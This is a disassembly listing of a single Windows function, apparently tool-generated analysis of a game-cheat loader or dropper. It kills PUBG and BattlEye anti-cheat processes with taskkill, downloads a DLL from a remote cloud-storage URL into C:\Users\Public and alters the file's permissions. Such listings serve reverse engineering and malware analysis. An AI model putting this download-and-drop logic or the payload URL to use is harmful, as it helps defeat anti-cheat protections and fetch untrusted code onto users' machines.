Function at 0x140135560
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x400]
sub rsp, 0x500
xor r12d, r12d
mov dword [rsp + 0x40], r12d
lea r9, [rsp + 0x78]
lea r8, [rsp + 0x40]
xor edx, edx
xor ecx, ecx
call qword [0x140140480]
cmp eax, 0xffffffff
jne 0x1401355bc
cmp dword [rsp + 0x78], 0x2747
je 0x1401355bc
mov r14d, r12d
mov r9d, dword [rsp + 0x44]
jmp 0x1401355e6
mov edx, dword [rsp + 0x40]
mov ecx, 0x40
call qword [0x140140048]
mov r14, rax
lea r9, [rsp + 0x78]
lea r8, [rsp + 0x40]
mov rdx, rax
xor ecx, ecx
call qword [0x140140480]
mov r9d, eax
mov r8d, r12d
test r9d, r9d
jle 0x140135680
mov r10, qword [0x1401f7b78]
mov r11, qword [0x1401f7b70]
movsxd rcx, r8d
imul rax, rcx, 0x274
cmp r11, qword [rax + r14 + 0x14]
jne 0x14013561c
cmp r10, qword [rax + r14 + 0x1c]
je 0x140135796
inc r8d
cmp r8d, r9d
jl 0x140135600
mov r15d, dword [rsp + 0x44]
mov edi, r12d
movsxd rsi, r9d
test r9d, r9d
jle 0x14013566e
lea rbx, [r14 + 0x2c]
cmp dword [rbx - 4], 1
jle 0x14013565f
cmp dword [rbx], r15d
jne 0x14013565f
movsxd rax, edi
imul rcx, rax, 0x274
add rcx, 0x14
add rcx, r14
lea rdx, [rsp + 0x44]
call qword [0x140140490]
inc edi
add rbx, 0x274
sub rsi, 1
jne 0x140135638
lea rdx, [rsp + 0x44]
lea rcx, [0x1401f7b70]
call qword [0x140140490]
lea rcx, str.taskkill__f__im_ExecPubg.exe
call fcn.1401360c0
lea rcx, str.taskkill__f__im_TslGame.exe
call fcn.1401360c0
mov ecx, 0x64
call qword [0x140140038]
lea rcx, str.taskkill__f__im_ucldr_battlegrounds_gl.exe
call fcn.1401360c0
lea rcx, str.taskkill__f__im_zksvc.exe
call fcn.1401360c0
lea rcx, str.taskkill__f__im_BEService.exe
call fcn.1401360c0
lea rcx, str.taskkill__f__im_beservice.exe
call fcn.1401360c0
mov dword [rsp + 0x7c], r12d
mov ecx, 0x5a00000
call fcn.14006f6a0
mov r13, rax
xor edx, edx
mov r8d, 0x208
lea rcx, [rbp]
call fcn.140139540
xor eax, eax
mov dword [rsp + 0x44], eax
mov word [rsp + 0x48], ax
xor ecx, ecx
call fcn.1400d81f0
mov ecx, eax
call fcn.14008f0d0
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov ecx, 0x10
call fcn.14006f620
mov qword [rax + 8], r12
mov qword [rbp - 0x58], rax
lea rcx, [rbp - 0x58]
mov qword [rax], rcx
mov qword [rbp - 0x40], r12
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], 0
mov ebx, 0x10
call fcn.14008f090
mov r9d, eax
mov eax, 0x4ec4ec4f
imul r9d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x1a
sub r9d, ecx
add r9b, 0x61
mov rcx, qword [rbp - 0x40]
mov rdx, qword [rbp - 0x38]
cmp rcx, rdx
jae 0x1401357a0
lea rax, [rcx + 1]
mov qword [rbp - 0x40], rax
lea rax, [rbp - 0x50]
cmp rdx, 0xf
cmova rax, qword [rbp - 0x50]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x1401357a9
mov r15d, dword [rax + r14 + 0x24]
jmp 0x140135629
lea rcx, [rbp - 0x58]
call fcn.14000e730
sub rbx, 1
jne 0x140135745
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
mov qword [rbp - 0x68], r12
mov qword [rbp - 0x60], r12
mov ecx, 0x10
call fcn.14006f620
lea rcx, [rbp - 0x80]
mov qword [rax], rcx
mov qword [rax + 8], r12
mov qword [rbp - 0x80], rax
mov ecx, 0x20
call fcn.14000f200
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x68], 0x10
mov qword [rbp - 0x60], 0x1f
movups xmm0, xmmword [str.C:UsersPublic_]
movups xmmword [rax], xmm0
mov byte [rax + 0x10], bl
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x70], r12
mov rdi, qword [rbp - 0x68]
lea rsi, [rbp - 0x78]
cmp qword [rbp - 0x60], 0xf
cmova rsi, qword [rbp - 0x78]
movabs r14, 0x7fffffffffffffff
cmp rdi, r14
jbe 0x14013583b
call fcn.140001ed0
int3
mov ecx, 0x10
call fcn.14006f620
lea rcx, [rsp + 0x50]
mov qword [rax], rcx
mov qword [rax + 8], r12
mov qword [rsp + 0x50], rax
mov eax, 0x16
cmp rdi, 0xf
ja 0x140135879
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x70], 0xf
movups xmm0, xmmword [rsi]
movups xmmword [rsp + 0x58], xmm0
jmp 0x1401358b8
mov rbx, rdi
or rbx, 0xf
cmp rbx, r14
jbe 0x14013588a
mov rbx, r14
jmp 0x140135891
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
call fcn.14000f200
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x70], rbx
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call fcn.140138ea0
lea rcx, [rsp + 0x50]
call fcn.1401375e0
mov rsi, qword [rbp - 0x68]
mov rax, r14
sub rax, rsi
cmp rax, 2
jae 0x1401358d8
call fcn.140001ed0
int3
lea r15, [rbp - 0x78]
cmp qword [rbp - 0x60], 0xf
cmova r15, qword [rbp - 0x78]
mov qword [rsp + 0x50], r12
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x70], r12
lea r14, [rsi + 2]
mov ebx, 0xf
lea rdi, [rsp + 0x58]
mov ecx, 0x10
call fcn.14006f620
lea rcx, [rsp + 0x50]
mov qword [rax], rcx
mov qword [rax + 8], r12
mov qword [rsp + 0x50], rax
cmp r14, rbx
jbe 0x140135964
mov rbx, r14
or rbx, 0xf
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
jbe 0x140135946
mov rbx, rax
jmp 0x140135953
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
call fcn.14000f200
mov rdi, rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x68], r14
mov qword [rsp + 0x70], rbx
mov r8, rsi
mov rdx, r15
mov rcx, rdi
call fcn.140138ea0
movzx ecx, word [0x14016a204]
mov word [rdi + rsi], cx
mov byte [rdi + r14], 0
mov rdx, qword [rsp + 0x68]
mov r8, qword [rsp + 0x70]
mov rax, r8
sub rax, rdx
cmp rax, 4
jb 0x1401359cf
lea rax, [rdx + 4]
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x58]
cmp r8, 0xf
cmova rcx, qword [rsp + 0x58]
mov eax, dword [0x14016a1fc]
mov dword [rcx + rdx], eax
mov byte [rcx + rdx + 4], 0
lea rax, [rsp + 0x50]
jmp 0x1401359ee
mov qword [rsp + 0x20], 4
lea r9, [0x14016a1fc]
mov edx, 4
lea rcx, [rsp + 0x50]
call fcn.14000efb0
mov rdx, rax
lea rcx, [rbp - 0x30]
call fcn.140009f90
mov edx, 3
lea rcx, [rsp + 0x44]
call fcn.140014160
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x140135a2c
mov rax, qword [rcx + 8]
mov qword [rcx + 8], r12
test rax, rax
je 0x140135a2c
mov qword [rax], r12
mov rax, qword [rax + 8]
test rax, rax
jne 0x140135a20
lea rcx, [rsp + 0x44]
call fcn.140014290
mov rdi, qword [rsp + 0x70]
cmp rdi, 0xf
jbe 0x140135b99
mov rbx, qword [rsp + 0x58]
inc rdi
lea r14, [0x14016930c]
test rbx, rbx
jne 0x140135ab4
test rdi, rdi
je 0x140135ab4
lea rax, str.null_pointer_cannot_point_to_a_block_of_non_zero_size
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov r8d, 0x3b4
lea rdx, [0x140169310]
mov ecx, 2
call fcn.14008dbc0
cmp eax, 1
jne 0x140135a8f
int3
mov qword [rsp + 0x20], r12
mov r9d, 0x3b4
lea r8, [0x140169350]
lea rdx, [0x1401693b4]
lea rcx, str._null_pointer_cannot_point_to_a_block_of_non_zero_size_
call fcn.14008ed70
cmp rdi, 0x1000
jb 0x140135b8e
add rdi, 0x2f
mov rsi, qword [rbx - 8]
movabs rax, 0xfafafafafafafafa
lea r15, [0x1401692f8]
cmp qword [rbx - 0x10], rax
je 0x140135b2f
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov r8d, 0xb2
lea rdx, [0x140169310]
mov ecx, 2
call fcn.14008dbc0
cmp eax, 1
jne 0x140135b0a
int3
mov qword [rsp + 0x20], r12
mov r9d, 0xb2
lea r8, [0x140169350]
lea rdx, [0x1401693b4]
lea rcx, [0x1401693b8]
call fcn.14008ed70
sub rbx, rsi
lea rax, [rbx - 0x10]
cmp rax, 0x1f
jbe 0x140135b8b
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov r8d, 0xbc
lea rdx, [0x140169310]
mov ecx, 2
call fcn.14008dbc0
cmp eax, 1
jne 0x140135b66
int3
mov qword [rsp + 0x20], r12
mov r9d, 0xbc
lea r8, [0x140169350]
lea rdx, [0x1401693b4]
lea rcx, [0x1401693b8]
call fcn.14008ed70
mov rbx, rsi
mov rdx, rdi
mov rcx, rbx
call fcn.14006f680
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x70], 0xf
mov byte [rsp + 0x58], 0
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0x50], r12
mov edx, 0x10
call fcn.14006f680
mov ecx, 0x7d0
call qword [0x140140038]
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x50]
call fcn.14000a0e0
mov rcx, rax
call fcn.140136ad0
mov rcx, rax
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
call qword [0x140140020]
mov r15, rax
mov esi, 1
mov dword [rsp + 0x40], esi
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.RookIE_1.0
call qword [0x140140460]
mov r12, rax
test rax, rax
je 0x140135cc3
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x4000000
xor r9d, r9d
xor r8d, r8d
lea rdx, str.https:__xiafa6.oss_cn_hangzhou.aliyuncs.com_LN1.dll
mov rcx, rax
call qword [0x140140458]
mov r14, rax
test rax, rax
je 0x140135cba
xor edi, edi
cmp dword [rsp + 0x40], edi
jbe 0x140135cb1
cmp edi, 0x5a00000
jae 0x140135cb1
lea r9, [rsp + 0x40]
mov r8d, 0x3ff
lea rdx, [rbp]
mov rcx, r14
call qword [0x140140450]
mov ebx, dword [rsp + 0x40]
mov r8d, ebx
movsxd rcx, edi
add rcx, r13
lea rdx, [rbp]
call fcn.140138ea0
add edi, ebx
mov esi, edi
test ebx, ebx
jne 0x140135c73
mov rcx, r14
call qword [0x140140468]
mov rcx, r12
call qword [0x140140468]
mov ebx, esi
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x7c]
mov rcx, r15
cmp esi, 0x1000
jbe 0x140135ce6
mov r8d, esi
mov rdx, r13
jmp 0x140135cf3
mov r8d, 0x74db0
lea rdx, [0x140182dc0]
call qword [0x140140008]
mov rcx, r15
call qword [0x140140058]
mov r8, rbx
xor edx, edx
mov rcx, r13
call fcn.140139540
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x50]
call fcn.14000a0e0
mov rcx, rax
call fcn.140136ad0
mov rcx, rax
call fcn.140137fa0
xor ecx, ecx
test eax, eax
jne 0x140135dd5
xor r9d, r9d
lea r8, [0x14016a278]
lea rdx, [0x14016a280]
call qword [0x140140440]
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x50]
call fcn.14000a0e0
mov rcx, rax
call fcn.140136ad0
mov rcx, rax
mov edx, 3
call qword [0x140140028]
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x50]
call fcn.14000d460
lea rcx, [rsp + 0x50]
call fcn.1400075e0
movzx ebx, al
lea rcx, [rsp + 0x50]
call fcn.1400056d0
test bl, bl
je 0x140135dc9
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x50]
call fcn.14000d460
lea rcx, [rsp + 0x50]
call fcn.1400078b0
lea rcx, [rsp + 0x50]
call fcn.1400056d0
lea rdx, [0x14016a2a0]
jmp 0x140135e6e
lea rdx, [0x14016a2c8]
jmp 0x140135e6e
mov r9d, 0x40
lea r8, [0x14016a2e0]
lea rdx, [0x14016a2e8]
call qword [0x140140440]
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x50]
call fcn.14000a0e0
mov rcx, rax
call fcn.140136ad0
mov rcx, rax
mov edx, 3
call qword [0x140140028]
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x50]
call fcn.14000d460
lea rcx, [rsp + 0x50]
call fcn.1400075e0
movzx ebx, al
lea rcx, [rsp + 0x50]
call fcn.1400056d0
test bl, bl
je 0x140135e67
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x50]
call fcn.14000d460
lea rcx, [rsp + 0x50]
call fcn.1400078b0
lea rcx, [rsp + 0x50]
call fcn.1400056d0
lea rdx, str.Permissions_set_to_none_successfully.
jmp 0x140135e6e
lea rdx, str.File_does_not_exist.
lea rcx, [0x1401f9080]
call fcn.14000d5f0
mov rcx, rax
call fcn.140008f60
call fcn.140135ef0
call fcn.140136180
xor ecx, ecx
call fcn.14008bd10
int3